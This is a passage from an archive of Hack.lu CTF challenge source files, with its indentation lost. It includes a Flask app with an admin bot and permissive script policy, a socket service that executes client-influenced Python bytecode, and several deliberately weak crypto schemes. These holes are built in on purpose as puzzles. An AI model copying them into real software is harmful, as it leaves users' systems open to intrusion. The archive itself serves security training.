cur.execute("CREATE TABLE IF NOT EXISTS encodings (id TEXT NOT NULL UNIQUE, text TEXT NOT NULL, creator, expires INTEGER DEFAULT 0)")
cur.execute("INSERT INTO encodings (id, text, creator, expires) VALUES (?, ?, 'admin', 0)", [secrets.token_hex(20), FLAG])
db.commit()
db.close()
if not os.path.isfile("/tmp/app.db"):
init_db()
def signup_db(username, password):
db, cursor = get_cursor()
try:
cursor.execute("INSERT INTO accounts (username, password, admin) VALUES (?, ?, 0)", [username, password])
except sqlite3.IntegrityError:
return False
db.commit()
return True
def login_db(username, password):
db, cursor = get_cursor()
cursor.execute("SELECT * FROM accounts WHERE username = ? AND password = ?", [username, password])
result = cursor.fetchone()
if not result: return None
return {"id": result[0], "username": result[1], "admin": result[3] == 1}
def get_encodings(username):
db, cursor = get_cursor()
cursor.execute("SELECT id, text, expires FROM encodings WHERE creator = ?", [username])
rows = cursor.fetchall()
for i, row in enumerate(rows):
if row[2] > 0 and row[2] < int(time.time()):
cursor.execute("DELETE FROM encodings WHERE id = ?", [row[0]])
db.commit()
rows[i] = None
return [row for row in rows if row is not None]
def get_encoding(msg_id):
db, cursor = get_cursor()
cursor.execute("SELECT text, creator, expires FROM encodings WHERE id = ?", [msg_id])
row = cursor.fetchone()
if row is None: return None
if row[2] > 0 and row[2] < int(time.time()):
cursor.execute("DELETE FROM encodings WHERE id = ?", [msg_id])
db.commit()
return None
return {"text": row[0], "creator": row[1]}
def create_encoding(username, text):
db, cursor = get_cursor()
id_val = secrets.token_hex(20)
expires = int(time.time()) + 60 * 60
cursor.execute("INSERT INTO encodings (id, text, creator, expires) VALUES (?, ?, ?, ?)", [id_val, text, username, expires])
db.commit()
return id_val
@app.after_request
def add_header(response):
response.headers["Content-Security-Policy"] = "script-src 'unsafe-inline';"
return response
@app.route("/")
def mainRoute():
if not session:
return redirect("/login")
encodings = get_encodings(session["username"])
return render_template("index.html", encodings=encodings, logged_out=False)
@app.route("/login", methods = ["GET", "POST"])
def login():
logged_out = session.get("username", None) is None
if request.method == "GET":
return render_template("login.html", logged_out=logged_out)
elif request.method == "POST":
password = request.form["password"]
username = request.form["username"]
user = login_db(username, password)
if user:
session["id"] = user["id"]
session["username"] = user["username"]
session["admin"] = user["admin"]
return redirect("/")
flash("Invalid username or password")
return redirect("/login")
@app.route("/signup", methods=["GET", "POST"])
def signup():
logged_out = session.get("username", None) is None
if request.method == "GET":
return render_template("signup.html", logged_out=logged_out)
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
if signup_db(username, password):
return redirect("/login")
flash("Username already taken")
return redirect("/signup")
@app.route("/e/<encoding_id>")
def getEncoding(encoding_id):
logged_out = session.get("username", None) is None
encoding = get_encoding(encoding_id)
return render_template("view_encoding.html", encoding=encoding, logged_out=logged_out)
@app.route("/create", methods=["GET", "POST"])
def create():
if not session:
flash("Please log in")
return redirect("/login")
if request.method == "GET":
return render_template("create.html", logged_out=False)
elif request.method == "POST":
if not request.form["text"]:
return "Missing text"
text = request.form["text"]
if len(text) > 1000:
flash("Too long!")
return redirect("/create")
encoded = based91.encode(text.encode() if not (re.match(r"^[a-f0-9]+$", text) and len(text) % 2 == 0) else bytes.fromhex(text))
encoding_id = create_encoding(session["username"], encoded)
return redirect(f"/e/{encoding_id}")
@app.route("/report", methods=["GET", "POST"])
def report():
if not session:
flash("Please log in")
return redirect("/login")
if request.method == "GET":
return render_template("report.html", logged_out=False)
value = request.form.get("id")
if not value or not re.match(r"^[a-f0-9]{40}$", value):
flash("invalid value!")
return render_template("report.html", logged_out=False)
subprocess.Popen(["timeout", "-k" "15", "15", "node", "adminbot.js", base_url, admin_password, value], shell=False)
flash("An admin going there.")
return render_template("report.html", logged_out=False)
# app.run(host="0.0.0.0", port=5000, threaded=True)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Hack.lu/2025/misc/CODEBULLAR/codebullar.py | ctfs/Hack.lu/2025/misc/CODEBULLAR/codebullar.py | import os
import random
from PIL import Image
köttbullar_dir = './assets/köttbullar'
hotdogs_dir = './assets/hotdogs'
output_dir = './encoded'
os.makedirs(output_dir, exist_ok=True)
köttbullar_files = [os.path.join(köttbullar_dir, f) for f in os.listdir(köttbullar_dir)]
hotdogs_files = [os.path.join(hotdogs_dir, f) for f in os.listdir(hotdogs_dir)]
with open('./secret.txt', 'r') as f:
FLAG = f.read().strip()
bin_str = ''.join(format(ord(c), '08b') for c in FLAG)
for i, bit in enumerate(bin_str):
src = random.choice(köttbullar_files) if bit == '0' else random.choice(hotdogs_files)
dst = os.path.join(output_dir, f'{i:04}.jpeg')
with Image.open(src) as img:
img.save(dst, format='JPEG', quality=95)
print(f'Encoded {len(bin_str)} bits with CODEBULLAR encoding')
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Hack.lu/2025/crypto/FLUXKAMANUAL/server.py | ctfs/Hack.lu/2025/crypto/FLUXKAMANUAL/server.py | #!/usr/bin/env nix-shell
#!nix-shell -i python -p python3Packages.pycryptodome
import os
import re
import secrets
from Crypto.Cipher import AES
from Crypto.Hash import SHA3_256
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad
FLAG = os.environ.get("FLAG", "flag{FLUXKEA_USER_MANUAL}")
MASTERKEY = bytes.fromhex(os.environ.get("MASTERKEY", get_random_bytes(16).hex()))
SAMPLES = 7<<6
RE_CHALLENGE = re.compile("^[0-9a-fA-F]{1,32}$")
def expand(data: bytes) -> bytes:
hasher = SHA3_256.new()
hasher.update(data)
output = hasher.digest()
return output[16:], output[16:]
def encrypt(plaintext: bytes, key: bytes = None) -> bytes:
iv = get_random_bytes(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
padded_data = pad(plaintext, AES.block_size)
ciphertext = cipher.encrypt(padded_data)
return iv + ciphertext
def main():
# encrypt user manual
key = get_random_bytes(16)
ciphertext = encrypt(FLAG.encode(), key)
print("FluxKEA user manual:", ciphertext.hex())
# interactive key transfer
secret = int.from_bytes(key)
tid = get_random_bytes(16)
print("tansmission id:", tid.hex())
key = MASTERKEY + tid
for _ in range(SAMPLES):
ikey, key = expand(key)
otp = int.from_bytes(ikey)
chal = input("challenge: ")
assert RE_CHALLENGE.match(chal)
chal = int(chal, 16)
tk = ((secret + chal) * otp) % (1<<128)
print("%32x" % tk)
if __name__ == "__main__":
exit(main() or 0)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Hack.lu/2022/pwn/ordersystem/plugin.py | ctfs/Hack.lu/2022/pwn/ordersystem/plugin.py | '''
This file handles plugins. They can be added to a server instance and
allow for modified behavior such as advanced sorting, server info, remote
access and much more. Due to performance reasons and size constraints, plugins
are pure python bytecode. co_onsts will be pre set by the plugin
handler and supply the plugin with the important values. co_names can be freely
choosen by plugin authors.
'''
from os import path
from types import CodeType
def plugin_log(msg,filename='./log',raw=False):
mode = 'ab' if raw else 'a'
with open(filename,mode) as logfile:
logfile.write(msg)
def execute_plugin(pname,entries):
plugin_path = path.join('./plugins/',path.basename(pname.rstrip(' ')))
data = open(plugin_path,'rb').read()
# the plugin may specify custom names to use as variable storage through
# the use of ; e.g <bytecode>;name;name1..
if b';' in data:
names = [x.decode() for x in data.split(b';')[1:]]
code = data[:data.index(b';')]
else:
code = data
names = []
assert len(data) != 0 , "cannot execute empty bytecode"
assert len(data) % 2 == 0 , "bytecode not correctly aligned"
# give the plugin some useful data, starting with all saved entries
consts = []
for k in entries:
consts.append(k)
# in the future we plan to implement more useful functions for plugins to use
consts.append(plugin_log)
plugin = CodeType(
0, # co_argcount
0, # co_posonlyargcount
0, # co_kwonlyargcount
0, # co_nlocals
256, # co_stacksize
0, # co_flags
code, # co_code
tuple(consts), # co_consts
tuple(names), # co_names
(), # co_varnames
f'plugin_{pname}', # co_filename
f'plugin_{pname}', # co_name
0, # co_firstlineno
b'', # co_linetable
(), # co_freevars
() # co_cellvars
)
exec(plugin) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Hack.lu/2022/pwn/ordersystem/disk.py | ctfs/Hack.lu/2022/pwn/ordersystem/disk.py | '''
This file provides functions for dumping from memory to disk,
useful for persistence.
'''
from os import path
ROOT = path.normpath(path.join(path.abspath(__file__),'..'))
def _store(fname,content):
full = path.join(ROOT,fname)
open(full,'w').write(content.hex())
def store_disk(entries):
for k,v in entries.items():
try:
k = k.decode()
except:
k = k.hex()
storagefile = path.normpath(f'storage/{k}')
_store(storagefile,v)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Hack.lu/2022/pwn/ordersystem/main.py | ctfs/Hack.lu/2022/pwn/ordersystem/main.py | '''
entry point. This file manages orders received by clients
and executes the requested commands. For this demo the
commands store,dump and plugin are implemented, though
this version ships without any plugins.
'''
import socket
from threading import Thread
import traceback
from disk import store_disk
from plugin import execute_plugin
ENTRIES = {}
def recv_exact(c,n):
b = b''
while len(b) != n:
b += c.recv(n-len(b))
return b
def handle_client(con):
try:
cmd = recv_exact(con,1).decode()
assert cmd in ['P','S','D'] , "invalid command received"
if cmd == 'S': # Store
entry = recv_exact(con,12)
data_len = recv_exact(con,1)[0]
data = recv_exact(con,data_len).decode()
assert len(list(filter(lambda x : x in '0123456789abcdef',data))) == len(data) , "data has to be in hex format"
ENTRIES[entry] = bytes.fromhex(data)
con.send(f'STORED {int(data_len/2)} bytes in {entry}\n'.encode())
if cmd == 'D': # dump to disk
store_disk(ENTRIES)
con.send(f'DUMPED {len(ENTRIES)} entries to disk\n'.encode())
if cmd == 'P': # run plugin on data
plugin_name = recv_exact(con,12).decode()
try:
execute_plugin(plugin_name,ENTRIES)
except Exception as e:
print(traceback.format_exc())
con.close()
except Exception as e:
con.send(f'{e}'.encode())
con.close()
def main():
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0',4444))
s.listen(100)
while True:
con,addr = s.accept()
Thread(target=handle_client,args=(con,)).start()
if __name__ == '__main__':
main() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Hack.lu/2022/pwn/riot_at_the_coffeebar/docker/coffe.py | ctfs/Hack.lu/2022/pwn/riot_at_the_coffeebar/docker/coffe.py | #!/usr/bin/python3
import io
import os
import sys
flag = os.environb.get(b"FLAG")
if not flag:
flag = b"flag{fake_flag}"
def readline(fd):
buf = []
while True:
c = os.read(fd, 1)
if c == b"\n":
break
buf.append(c)
return b"".join(buf)
# use virtual serial line for communication
fd = os.open(sys.argv[1], os.O_RDWR | os.O_NOCTTY)
while True:
command = readline(fd)
print("got command:", command)
if b"coffe" in command:
# got the command, confirm the order
os.write(fd, b"Here it comes: " + flag + b"\n")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Hack.lu/2022/crypto/linearstarter/otp.py | ctfs/Hack.lu/2022/crypto/linearstarter/otp.py | from os import urandom
import binascii
import time
flag = r'flag{fake_flag}'
######### Public
m = int(binascii.hexlify(urandom(16)), 16)
######### Secret
a = int(binascii.hexlify(urandom(4)), 16) % m
b = int(binascii.hexlify(urandom(4)), 16) % m
######### Encrypt
otp = []
otp.append(int(time.time()) % m)
for _ in range(50):
next = (a * otp[-1] + b) % m
otp.append(next)
enc = ""
for i in range(len(flag)):
enc += str(ord(flag[i]) ^ otp[i+1]) + " "
print("######### Output #########")
print("m ", m)
print("enc ", enc)
print("######### End #########") | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Hack.lu/2022/crypto/recipevault/vault.py | ctfs/Hack.lu/2022/crypto/recipevault/vault.py | #!/usr/bin/env python3
import numpy as np
import socket
from threading import Thread
import binascii
import os
some_table = np.zeros(256, dtype=int)
def byteof(d, i):
return (d >> (i * 8)) & 0xff
def mystery(x):
y = np.zeros(4, dtype=int)
y[0] = some_table[byteof(x[0], 0) ^ some_table[byteof(x[2], 0)]] | (some_table[byteof(x[2], 0) ^ some_table[byteof(x[0], 0)]] << 8) | (
some_table[byteof(x[0], 1) ^ some_table[byteof(x[2], 1)]] << 16) | (some_table[byteof(x[2], 1) ^ some_table[byteof(x[0], 1)]] << 24)
y[1] = some_table[byteof(x[0], 2) ^ some_table[byteof(x[2], 2)]] | (some_table[byteof(x[2], 2) ^ some_table[byteof(x[0], 2)]] << 8) | (
some_table[byteof(x[0], 3) ^ some_table[byteof(x[2], 3)]] << 16) | (some_table[byteof(x[2], 3) ^ some_table[byteof(x[0], 3)]] << 24)
y[2] = some_table[byteof(x[1], 0) ^ some_table[byteof(x[3], 0)]] | (some_table[byteof(x[3], 0) ^ some_table[byteof(x[1], 0)]] << 8) | (
some_table[byteof(x[1], 1) ^ some_table[byteof(x[3], 1)]] << 16) | (some_table[byteof(x[3], 1) ^ some_table[byteof(x[1], 1)]] << 24)
y[3] = some_table[byteof(x[1], 2) ^ some_table[byteof(x[3], 2)]] | (some_table[byteof(x[3], 2) ^ some_table[byteof(x[1], 2)]] << 8) | (
some_table[byteof(x[1], 3) ^ some_table[byteof(x[3], 3)]] << 16) | (some_table[byteof(x[3], 3) ^ some_table[byteof(x[1], 3)]] << 24)
return y
def mystery2(x):
y = np.zeros(4, dtype=int)
y[0] = byteof(x[0], 0) | (byteof(x[0], 2) << 8) | (
byteof(x[1], 0) << 16) | (byteof(x[1], 2) << 24)
y[1] = byteof(x[2], 0) | (byteof(x[2], 2) << 8) | (
byteof(x[3], 0) << 16) | (byteof(x[3], 2) << 24)
y[2] = byteof(x[0], 1) | (byteof(x[0], 3) << 8) | (
byteof(x[1], 1) << 16) | (byteof(x[1], 3) << 24)
y[3] = byteof(x[2], 1) | (byteof(x[2], 3) << 8) | (
byteof(x[3], 1) << 16) | (byteof(x[3], 3) << 24)
return y
def magic(x):
v = mystery2(mystery(mystery(mystery(mystery(x)))))
u = np.zeros(4, dtype=int)
u[0] = x[0] ^ v[0]
u[1] = x[1] ^ v[1]
u[2] = x[2] ^ v[2]
u[3] = x[3] ^ v[3]
v = mystery2(mystery(mystery(mystery(mystery(u)))))
u[0] = x[0] ^ v[0]
u[1] = x[1] ^ v[1]
u[2] = x[2] ^ v[2]
u[3] = x[3] ^ v[3]
v = mystery2(mystery(mystery(mystery(mystery(u)))))
v[2] = x[2]
v[3] = x[3]
return v
def init_some_table():
f = 1
for i in range(0, 255):
some_table[i] = f & 0xff
f <<= 1
if f > 0xff:
f ^= 0x0165
def transform_key(in_key):
init_some_table()
something_key = np.zeros(12, dtype=int)
something_key[0] = in_key[0]
something_key[1] = in_key[1]
something_key[2] = in_key[0]
something_key[3] = in_key[1]
something_key[4] = in_key[2]
something_key[5] = in_key[3]
something_key[6] = in_key[2]
something_key[7] = in_key[3]
something_key[8] = in_key[0]
something_key[9] = in_key[1]
something_key[10] = in_key[0]
something_key[11] = in_key[1]
return something_key
def combination_magic(x, y, k):
tt = np.zeros(4, dtype=int)
retval = np.zeros(2, dtype=np.uint32)
tt[0] = y[0]
tt[1] = y[1]
tt[2] = k[0]
tt[3] = k[1]
tt = magic(tt)
retval[0] = x[0] ^ tt[0]
retval[1] = x[1] ^ tt[1]
return retval
def encrypt(blk, something_key):
blk = np.copy(blk)
blk[0:2] = combination_magic(blk[0:2], blk[2:4], something_key[0:2])
blk[2:4] = combination_magic(blk[2:4], blk[0:2], something_key[2:4])
blk[0:2] = combination_magic(blk[0:2], blk[2:4], something_key[4:6])
blk[2:4] = combination_magic(blk[2:4], blk[0:2], something_key[6:8])
blk[0:2] = combination_magic(blk[0:2], blk[2:4], something_key[8:10])
blk[2:4] = combination_magic(blk[2:4], blk[0:2], something_key[10:12])
return blk
def client_thread(conn, mkey):
conn.send(b"Welcome! Please supply your input encoded as 64 hex characters, then we will encrypt it with our very secure algorithm.\n")
buf = b""
finished = False
while not finished:
data = conn.recv(128)
while (data):
buf += data
if b'\n' in data:
if len(buf) != 65:
conn.send(
f"Please manually convert your input into hex, then supply exactly 64 hex characters plus linebreak, you supplied {len(buf) - 1} hex characters\n".encode('ascii'))
buf = b""
data = b""
continue
else:
try:
bytes.fromhex(buf[:64].decode('ascii'))
except:
conn.send(b"Invalid hex string, try again\n")
buf = b""
data = b""
continue
finished = True
break
encrypted_full = ""
for i in range(0, 2):
block = buf[i*2*4*4:(i+1)*2*4*4]
print(f"Now encrypting: {block}")
rawbytes = bytes.fromhex(block.decode('ascii'))
cleartext = np.frombuffer(rawbytes, dtype=np.uint32)
ciphertext = encrypt(cleartext, mkey)
encrypted_full += binascii.hexlify(ciphertext).decode('ascii')
conn.send(f"Encrypted: {encrypted_full}".encode('ascii'))
conn.close()
print("Closed connection")
try:
in_file = open("key.bin", "rb")
except:
print("Key not found, terminating")
exit(-1)
key_bytes = in_file.read(128)
key = np.frombuffer(key_bytes, dtype=np.uint32)
in_file.close()
transformed_key = transform_key(key)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", 4444))
s.listen(1)
print("Accepting connections now")
while 1:
conn, addr = s.accept()
print("New connection")
t = Thread(target=client_thread, args=(conn, transformed_key))
t.start()
print("Stopping")
s.close()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Hack.lu/2022/crypto/FaultyIngredient/fluxtagram_leak1.py | ctfs/Hack.lu/2022/crypto/FaultyIngredient/fluxtagram_leak1.py | from os import urandom
############################################################################
# AES ENCRYPTION but something is faulty here
############################################################################
# CONSTANTS
sbox = (
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16
)
rcon = (0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36)
############################################################################
# AES HELPER STUFF
def g(word, round):
v_0 = word >> 24
v_1 = word >> 16 & 0xFF
v_2 = word >> 8 & 0xFF
v_3 = word & 0xFF
v_0 = sbox[v_0]
v_1 = sbox[v_1]
v_2 = sbox[v_2]
v_3 = sbox[v_3]
v_1 ^= rcon[round]
return v_1 << 24 ^ v_2 << 16 ^ v_3 << 8 ^ v_0
def gf_mul123(inp, factor):
if(factor == 1):
return inp
elif(factor == 2):
c = inp << 1
if((inp >> 7) & 1) == 1:
c ^= 0x11b
return c
elif(factor == 3):
return (gf_mul123(inp, 2) ^ inp)
print("Whats wrong with you, it says mul123 not 4")
exit(0)
############################################################################
# AES
def key_schedule_128(key):
roundkeys = [[0] * 16 for _ in range(11)]
words = []
for i in range(0, 16, 4):
words.append(key[i] << 24 ^ key[i+1] << 16 ^ key[i+2] << 8 ^ key[i+3])
for i in range(10):
words.append(words[-4] ^ g(words[-1], i))
for _ in range(3):
words.append(words[-4] ^ words[-1])
for i in range(11):
for j in range(0, 16, 4):
roundkeys[i][j] = words[j // 4 + i * 4] >> 24
roundkeys[i][j+1] = words[j // 4 + i * 4] >> 16 & 0xFF
roundkeys[i][j+2] = words[j // 4 + i * 4] >> 8 & 0xFF
roundkeys[i][j+3] = words[j // 4 + i * 4] & 0xFF
return roundkeys
def add_roundkey(state, roundkey):
for i in range(len(state)):
state[i] ^= roundkey[i]
def mix_columns(state):
for i in range(0, 16, 4):
t = state[i:i+4]
state[i] = gf_mul123(t[0], 2) ^ gf_mul123(t[1], 3) ^ gf_mul123(t[2], 1) ^ gf_mul123(t[3], 1)
state[i+1] = gf_mul123(t[0], 1) ^ gf_mul123(t[1], 2) ^ gf_mul123(t[2], 3) ^ gf_mul123(t[3], 1)
state[i+2] = gf_mul123(t[0], 1) ^ gf_mul123(t[1], 1) ^ gf_mul123(t[2], 2) ^ gf_mul123(t[3], 3)
state[i+3] = gf_mul123(t[0], 3) ^ gf_mul123(t[1], 1) ^ gf_mul123(t[2], 1) ^ gf_mul123(t[3], 2)
# This possibly can not be the source of the fault, looks complicated
def introduce_fault(state):
for i in range(4):
j, fault = int(urandom(1)[0]) % 4, urandom(1)[0]
state[i * 4 + j] ^= fault
def enc_round(state, roundkey, last = False, fault = False):
# S-Box
for index, value in enumerate(state):
state[index] = sbox[value]
# Shift-Rows
state[1], state[5], state[9], state[13] = state[5], state[9], state[13], state[1]
state[2], state[6], state[10], state[14] = state[10], state[14], state[2], state[6]
state[3], state[7], state[11], state[15] = state[15], state[3], state[7], state[11]
if(fault):
introduce_fault(state)
# Mix-Columns
if(not last):
mix_columns(state)
# Key Addition
add_roundkey(state, roundkey)
############################################################################
# MAIN FUNCTIONS
def encrypt_test(pt, key):
state = pt.copy()
roundkeys = key_schedule_128(key)
add_roundkey(state, roundkeys[0])
for i in range(1,10):
enc_round(state, roundkeys[i])
enc_round(state, roundkeys[10], True)
return state
def encrypt_faulty(pt, key):
state = pt.copy()
roundkeys = key_schedule_128(key)
add_roundkey(state, roundkeys[0])
for i in range(1,9):
enc_round(state, roundkeys[i])
enc_round(state, roundkeys[9], fault=True)
enc_round(state, roundkeys[10], last=True)
return state | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Hack.lu/2022/crypto/FaultyIngredient/fluxtagram_leak0.py | ctfs/Hack.lu/2022/crypto/FaultyIngredient/fluxtagram_leak0.py | import json
import os
from Crypto.Cipher import AES
import fluxtagram_leak1
############################################################################
pt = []
ct = []
ft = []
enc_flag = []
NUMBER_OF_PAIRS = 25
KEY = os.urandom(16)
FLAG = b'flag{secret_duh}'
############################################################################
def generate_plaintexts():
global pt, NUMBER_OF_PAIRS
print("[+] Generate Plaintexts", end='')
for _ in range(NUMBER_OF_PAIRS):
pt.append([int(i) for i in os.urandom(16)])
print("\t\t\t ... done")
def generate_ciphertexts():
global pt, ct, enc_flag, KEY
print("[+] Generate Ciphertexts", end='')
cipher = AES.new(KEY, AES.MODE_ECB)
for i in range(len(pt)):
ct.append([int (j) for j in cipher.encrypt(bytes(pt[i]))])
print("\t\t ... done")
print("[+] Encrypt Secret Ingredient", end='')
enc_flag = [int (j) for j in cipher.encrypt(FLAG)]
print("\t\t ... done")
print("[+] Test Secret Ingredient Decryption", end='')
if(cipher.decrypt(bytes(enc_flag)) == FLAG):
print("\t ... done")
else:
print("\t ... ERROR")
exit(0)
def generate_faulty_ciphertexts():
global pt, ft, KEY
print("[+] Test AES Implementation For Errors", end='')
test = []
for i in range(len(pt)):
test.append(fluxtagram_leak1.encrypt_test(pt[i], [int(i) for i in KEY]))
error = False
for i in range(len(ct)):
if(ct[i] != test[i]):
error = True
if(error):
print("\t ... ERROR")
exit(0)
print("\t ... done")
print("[+] Generate Faulty Ciphertexts", end='')
for i in range(len(pt)):
ft.append(fluxtagram_leak1.encrypt_faulty(pt[i], [int(i) for i in KEY]))
print("\t\t ... done")
def challenge_output():
global pt, ct, ft, enc_flag
print("[+] Generate Challenge Output", end='')
with open("plaintext.json", "w", encoding = 'utf-8') as f:
f.write(json.dumps(pt))
with open("ciphertext.json", "w", encoding = 'utf-8') as f:
f.write(json.dumps(ct))
with open("faulty_ciphertext.json", "w", encoding = 'utf-8') as f:
f.write(json.dumps(ft))
with open("secret_ingredient.json", "w", encoding = 'utf-8') as f:
f.write(json.dumps(enc_flag))
print("\t\t ... done")
def main():
generate_plaintexts()
generate_ciphertexts()
generate_faulty_ciphertexts()
challenge_output()
print("[!] All Done! Happy Solving :)")
if __name__ == "__main__":
main() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.